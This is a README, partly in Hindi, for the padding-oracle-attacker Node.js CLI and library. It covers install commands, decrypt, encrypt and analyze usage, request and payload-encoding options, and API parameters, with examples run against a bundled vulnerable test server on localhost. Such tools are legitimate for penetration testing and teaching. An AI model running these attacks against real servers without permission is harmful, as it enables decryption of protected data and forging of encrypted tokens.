
🔓 CLI tool और library जो padding oracle attacks को आसानी से execute करने के लिए है, जिसमें concurrent network requests और एक elegant UI का समर्थन है।
पैडिंग ओरैकल हमलों को आसानी से निष्पादित करने के लिए CLI टूल और लाइब्रेरी, समवर्ती नेटवर्क अनुरोधों के समर्थन और एक सुंदर UI के साथ।
सुनिश्चित करें कि Node.js स्थापित है, फिर चलाएँ
$ npm install --global padding-oracle-attacker
या
$ yarn global add padding-oracle-attacker
Usage
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
Commands
decrypt Finds the plaintext (foobar) for given ciphertext (hex:0123abcd)
encrypt Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar)
analyze Helps find out if the URL is vulnerable or not, and
how the response differs when a decryption error occurs
(for the <error> argument)
Arguments
<url> URL to attack. Payload will be inserted at the end by default. To specify
a custom injection point, include {POPAYLOAD} in a header (-H),
request body (-d) or the URL
<block_size> Block size used by the encryption algorithm on the server
<error> The string present in response when decryption fails on the server.
Specify a string present in the HTTP response body (like PaddingException)
or status code of the HTTP response (like 400)
Options
-c, --concurrency Requests to be sent concurrently [default: 128]
--disable-cache Disable network cache. Saved to [default: false]
poattack-cache.json.gz.txt by default
-X, --method HTTP method to use while making request [default: GET]
-H, --header Headers to be sent with request.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data Request body
JSON string: {"id": 101, "foo": "bar"}
URL encoded: id=101&foo=bar
Make sure to specify the Content-Type header.
-e, --payload-encoding Ciphertext payload encoding for {POPAYLOAD} [default: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Custom base64 ('xyz' represent characters for '+/=')
--dont-urlencode-payload Don't URL encode {POPAYLOAD} [default: false]
--start-from-1st-block Start processing from the first block instead [default: false]
of the last (only works with decrypt mode)
Examples
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
उपनाम
poattack
padding-oracle-attack
const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promiseencrypt(options: Object): Promiseurl: stringहमला करने के लिए URL. पेलोड डिफ़ॉल्ट रूप से अंत में जोड़ा जाएगा. कस्टम इंजेक्शन बिंदु निर्दिष्ट करने के लिए, URL, हेडर (requestOptions.headers) या रिक्वेस्ट बॉडी (requestOptions.data) में {POPAYLOAD} शामिल करें.
blockSize: numberसर्वर पर एन्क्रिप्शन एल्गोरिदम द्वारा उपयोग किया जाने वाला ब्लॉक आकार.
isDecryptionSuccess: ({ statusCode, headers, body }) => booleanऐसा फ़ंक्शन जो true लौटाता है यदि सर्वर प्रतिक्रिया इंगित करती है कि डिक्रिप्शन सफल रहा.
ciphertext: Buffer (केवल decrypt)डिक्रिप्ट करने के लिए सिफरटेक्स्ट.
plaintext: Buffer (केवल encrypt)एन्क्रिप्ट करने के लिए प्लेनटेक्स्ट. पैडिंग स्वचालित रूप से जोड़ दी जाएगी. उदाहरण: Buffer.from('foo bar', 'utf8')
concurrency: number = 128समवर्ती रूप से भेजे जाने वाले नेटवर्क अनुरोध.
isCacheEnabled: boolean = trueप्रतिक्रियाएँ डिफ़ॉल्ट रूप से कैश की जाती हैं और poattack-cache.json.gz.txt में सहेजी जाती हैं. कैशिंग अक्षम करने के लिए false पर सेट करें.
requestOptions: { method, headers, data }requestOptions.method: stringअनुरोध करते समय उपयोग करने के लिए HTTP विधि. डिफ़ॉल्ट रूप से GET. POST, PUT, DELETE कुछ मान्य विकल्प हैं.
requestOptions.headers: { string: string }अनुरोध के साथ भेजे जाने वाले हेडर. उदाहरण: { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: stringअनुरोध बॉडी. JSON स्ट्रिंग, URL एन्कोडेड पैरामीटर आदि हो सकते हैं. Content-Type हेडर मैन्युअल रूप से सेट किया जाना चाहिए.
logMode: 'full'|'minimal'|'none' = 'full'full: कंसोल पर सब कुछ लॉग करें (डिफ़ॉल्ट)
minimal: केवल शुरुआत और समाप्ति के बाद कंसोल पर लॉग करें
none: कंसोल पर कुछ भी लॉग न करें
transformPayload: (ciphertext: Buffer) => stringअनुरोध करते समय ciphertext को स्ट्रिंग में बदलने का फ़ंक्शन. डिफ़ॉल्ट रूप से, ciphertext हेक्स में एन्कोड किया जाता है और इंजेक्शन बिंदु पर डाला जाता है (URL अंत, जब तक कि {POPAYLOAD} मौजूद न हो).
decrypt)alreadyFound: Bufferप्लेनटेक्स्ट बाइट्स पहले से ज्ञात/मिले हुए हैं जिन्हें छोड़ा जा सकता है (अंत से). यदि आप दस बाइट्स का Buffer प्रदान करते हैं, तो अंतिम दस बाइट्स छोड़ दिए जाएंगे.
initFirstPayloadBlockWithOrigBytes: boolean = falseपहले पेलोड ब्लॉक को शून्य के बजाय मूल ciphertext बाइट्स के साथ आरंभ करें.
उदाहरण: abcdef12345678ff 1111111111111111 के बजाय 00000000000000ff 1111111111111111
startFromFirstBlock: boolean = falseअंतिम के बजाय पहले ब्लॉक से प्रसंस्करण शुरू करें.
makeInitialRequest: boolean = trueप्रदान किए गए मूल ciphertext के साथ एक प्रारंभिक अनुरोध करें और सर्वर प्रतिक्रिया को कंसोल पर लॉग करें ताकि उपयोगकर्ता सुनिश्चित कर सके कि नेटवर्क अनुरोध सही ढंग से भेजे जा रहे हैं.
encrypt)makeFinalRequest: boolean = trueनए plaintext के लिए ciphertext बाइट्स खोजने के बाद, मिले बाइट्स के साथ एक अंतिम अनुरोध करें और सर्वर प्रतिक्रिया को कंसोल पर लॉग करें.
lastCiphertextBlock: Bufferअंतिम ब्लॉक के लिए कस्टम सिफरटेक्स्ट. अंतिम ब्लॉक डिफ़ॉल्ट रूप से केवल शून्य है (000000000000000).
padding-oracle-attacker TypeScript में लिखा गया है. यदि आप स्रोत फ़ाइलों को संशोधित करना और उन्हें चलाना चाहते हैं, तो आप या तो फ़ाइलों को पहले JS में संकलित कर सकते हैं और उन्हें node का उपयोग करके चला सकते हैं, या ts-node का उपयोग कर सकते हैं.
उदाहरण: yarn build फिर node dist/cli ... या बस ts-node src/cli ...
yarn build या npm run buildsrc निर्देशिका के अंदर TypeScript फ़ाइलों को JS फ़ाइलों में संकलित करता है और उन्हें dist निर्देशिका में आउटपुट करता है.
yarn clean या npm run cleandist निर्देशिका को हटाता है.
yarn lint या npm run linteslint का उपयोग करके फ़ाइलों की जाँच करता है.
yarn test या npm run testava का उपयोग करके जाँच और परीक्षण चलाता है.
node test/helpers/vulnerable-server.jsपरीक्षण सर्वर चलाता है जो http://localhost:2020 पर पैडिंग ओरैकल हमलों के लिए संवेदनशील है.
MIT © Kishan Bagaria